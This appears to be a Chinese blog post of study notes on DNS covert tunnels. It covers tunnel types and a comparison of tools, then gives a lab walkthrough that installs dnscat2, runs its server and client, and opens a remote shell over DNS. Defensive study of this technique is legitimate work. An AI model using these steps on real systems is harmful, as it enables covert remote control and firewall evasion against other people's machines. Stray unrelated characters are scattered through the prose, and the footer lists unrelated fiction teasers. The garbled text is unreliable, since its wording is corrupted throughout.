DNS隱蔽隧道

一 前言

DNS上節(jié)說(shuō)到运授,主要用來(lái)做域名解析的泉粉,但是黑客卻可以通過(guò)將其他協(xié)議的內(nèi)容封裝再DNS協(xié)議中犹褒,然后通過(guò)DNS請(qǐng)求和響應(yīng)來(lái)傳輸數(shù)據(jù)和完成控制莺奸,DNS服務(wù)作為互聯(lián)網(wǎng)上最普遍的服務(wù),防火墻和入侵檢測(cè)設(shè)備一般都會(huì)放行统抬,這就給黑客們有了可乘之機(jī)火本,以下為學(xué)習(xí)筆記。

二 DNS隧道的方式

2.1 分類

目前DNS隧道目前按照連接方式來(lái)分:直連隧道和中繼隧道聪建。
直連隧道 :用戶直接和控制服務(wù)器通過(guò)DNS連接钙畔,由于直連不經(jīng)過(guò)其他DNS服務(wù)器,所以速度快金麸,但是很多用戶是對(duì)DNS服務(wù)器是有配置要求的擎析,只能配置特定的服務(wù)器,配置其他的DNS服務(wù)器不準(zhǔn)許挥下;另外這種方式由于直接連接的揍魂,很容易暴漏攻擊服務(wù)器。

中繼隧道: 利用DNS迭代查詢方式见秽,中間通過(guò)多個(gè)DNS服務(wù)器的跳轉(zhuǎn)愉烙,跳轉(zhuǎn)到最終的控制機(jī),整個(gè)解析過(guò)程更長(zhǎng)解取,所以性能沒有直連好步责,還要防止DNS緩存。

DNS隧道

2.2 開源工具

網(wǎng)上有不少開源工具實(shí)現(xiàn)了DNS的隧道禀苦,對(duì)比如下:

軟件名稱 開發(fā)語(yǔ)言 特點(diǎn) 推薦
OzymanDNS perl 只有最初版本 不推薦
tcp-over-dns JAVA 跨平臺(tái) 比較老
iodine C 直連和中繼都支持速度快支持編碼和請(qǐng)求類型 推薦
dns2tcp C 只直連未實(shí)現(xiàn)命令 不推薦
Dnscat2 客戶端C服務(wù)器ruby 支持加密隧道蔓肯,功能強(qiáng)大 推薦

2.3 關(guān)鍵技術(shù)

  • 在兩種DNS 隧道中,用的最多的是中繼方式振乏,能讓DNS服務(wù)器做遞歸查詢蔗包,則需要每次查詢均采用不同域名的,一句話是每次采用新域名的方式來(lái)保證走DNS查詢慧邮。
  • 大多數(shù)場(chǎng)景 是服務(wù)器端沒辦法連客戶端调限,因?yàn)榉阑饓騼?nèi)網(wǎng)原因舟陆,所以多是通過(guò)客戶端定時(shí)連接服務(wù)器端來(lái)保持狀態(tài)。

三 實(shí)踐

為了更好理解軟件工作耻矮,二是為了獲取相關(guān)的報(bào)文秦躯,準(zhǔn)備搭建兩個(gè)嘗試下整個(gè)過(guò)程。
以更常用的Dnscat2為例測(cè)試,我以自己的windows機(jī)器來(lái)作為被控制方裆装,里面的centos機(jī)器作為控制方測(cè)試踱承。

3.1 安裝

#windows下客戶端下載地址
#解壓密碼為password ,windows下只有32位的哨免。
https://downloads.skullsecurity.org/dnscat2/


#linux下服務(wù)器端安裝
#安裝ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install


3.2 運(yùn)行

服務(wù)器端為ruby開發(fā)茎活,所以需要先安裝ruby才可以運(yùn)行,因?yàn)橹皇呛?jiǎn)單測(cè)試琢唾,走直連模式载荔,可以直接運(yùn)行:

#缺了不少庫(kù)采用以下方式安裝
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop

#服務(wù)器端命令
ruby ./dnscat2.rb  --secret 12345

#客戶端命令
 ./dnscat --dns server=127.0.0.1,port=53 --secret=12345

3.3 遇到問(wèn)題

[[ ERROR ]] :: DNS: RCODE_NAME_ERROR

可能原因,默認(rèn)有密碼的是隨機(jī)的采桃,所以最好指定密碼身辨,不然連不上。

/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead

查了半天竟然是ruby用的版本2.7的問(wèn)題造成的調(diào)用警告芍碧。

輸入:

#進(jìn)入交互狀態(tài)
session -i 1
#輸入shell進(jìn)入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains =  [*]
  1 :: command (localhost.localdomain) [encrypted and verified]
  2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切換到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#輸入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client

簡(jiǎn)單的過(guò)程:


DNS隧道利用

四 參考

https://blog.csdn.net/localhost01/column/info/32978

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市号俐,隨后出現(xiàn)的幾起案子泌豆,更是在濱河造成了極大的恐慌,老刑警劉巖吏饿,帶你破解...
    沈念sama閱讀 222,807評(píng)論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件踪危,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡猪落,警方通過(guò)查閱死者的電腦和手機(jī)贞远,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,284評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)笨忌,“玉大人蓝仲,你說(shuō)我怎么就攤上這事」倨#” “怎么了袱结?”我有些...
    開封第一講書人閱讀 169,589評(píng)論 0 363
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)途凫。 經(jīng)常有香客問(wèn)我垢夹,道長(zhǎng),這世上最難降的妖魔是什么维费? 我笑而不...
    開封第一講書人閱讀 60,188評(píng)論 1 300
  • 正文 為了忘掉前任果元,我火速辦了婚禮促王,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘而晒。我一直安慰自己蝇狼,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,185評(píng)論 6 398
  • 文/花漫 我一把揭開白布欣硼。 她就那樣靜靜地躺著题翰,像睡著了一般。 火紅的嫁衣襯著肌膚如雪诈胜。 梳的紋絲不亂的頭發(fā)上豹障,一...
    開封第一講書人閱讀 52,785評(píng)論 1 314
  • 那天,我揣著相機(jī)與錄音焦匈,去河邊找鬼血公。 笑死,一個(gè)胖子當(dāng)著我的面吹牛缓熟,可吹牛的內(nèi)容都是我干的累魔。 我是一名探鬼主播,決...
    沈念sama閱讀 41,220評(píng)論 3 423
  • 文/蒼蘭香墨 我猛地睜開眼够滑,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼垦写!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起彰触,我...
    開封第一講書人閱讀 40,167評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤梯投,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后况毅,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體分蓖,經(jīng)...
    沈念sama閱讀 46,698評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,767評(píng)論 3 343
  • 正文 我和宋清朗相戀三年尔许,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了么鹤。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,912評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡味廊,死狀恐怖蒸甜,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情余佛,我是刑警寧澤迅皇,帶...
    沈念sama閱讀 36,572評(píng)論 5 351
  • 正文 年R本政府宣布,位于F島的核電站衙熔,受9級(jí)特大地震影響登颓,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜红氯,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,254評(píng)論 3 336
  • 文/蒙蒙 一框咙、第九天 我趴在偏房一處隱蔽的房頂上張望咕痛。 院中可真熱鬧,春花似錦喇嘱、人聲如沸茉贡。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,746評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至刑然,卻和暖如春作烟,著一層夾襖步出監(jiān)牢的瞬間愉粤,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,859評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工拿撩, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留衣厘,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,359評(píng)論 3 379
  • 正文 我出身青樓压恒,卻偏偏與公主長(zhǎng)得像影暴,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子探赫,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,922評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容

  • 前言 關(guān)于DNS隧道的一些簡(jiǎn)單研究和利用型宙。 DNS協(xié)議基礎(chǔ) 域名系統(tǒng)(服務(wù))協(xié)議(DNS)是一種分布式網(wǎng)絡(luò),主要用...
    Tide_諾言閱讀 3,026評(píng)論 0 8
  • 1伦吠、前言 在當(dāng)下互聯(lián)網(wǎng)時(shí)代早歇,我們?nèi)粘I詈凸ぷ骰径茧x開不域名和 DNS ,如通過(guò)一個(gè)網(wǎng)址打開一個(gè)網(wǎng)站進(jìn)行購(gòu)物讨勤、使...
    cinder_lv閱讀 3,564評(píng)論 1 27
  • 目錄: 一些基本概念主機(jī)名DNS名稱解析DNS 解析的后端存儲(chǔ)名稱解析總結(jié) 大規(guī)模域名解析的體系架構(gòu)DNS 解析需...
    C86guli閱讀 12,504評(píng)論 3 34
  • 前言 本文開始介紹應(yīng)用層,傳輸層為應(yīng)用進(jìn)程提供了端到端的通信服務(wù)晨另,但不同的網(wǎng)絡(luò)應(yīng)用的應(yīng)用進(jìn)程之間潭千,還需要有不同的通...
    HRADPX閱讀 1,983評(píng)論 2 5
  • @@@時(shí)間 2013-12-24 14:50:00** 博客園-原創(chuàng)精華區(qū) 原文 http://www.cn...
    蘇文星閱讀 1,416評(píng)論 0 7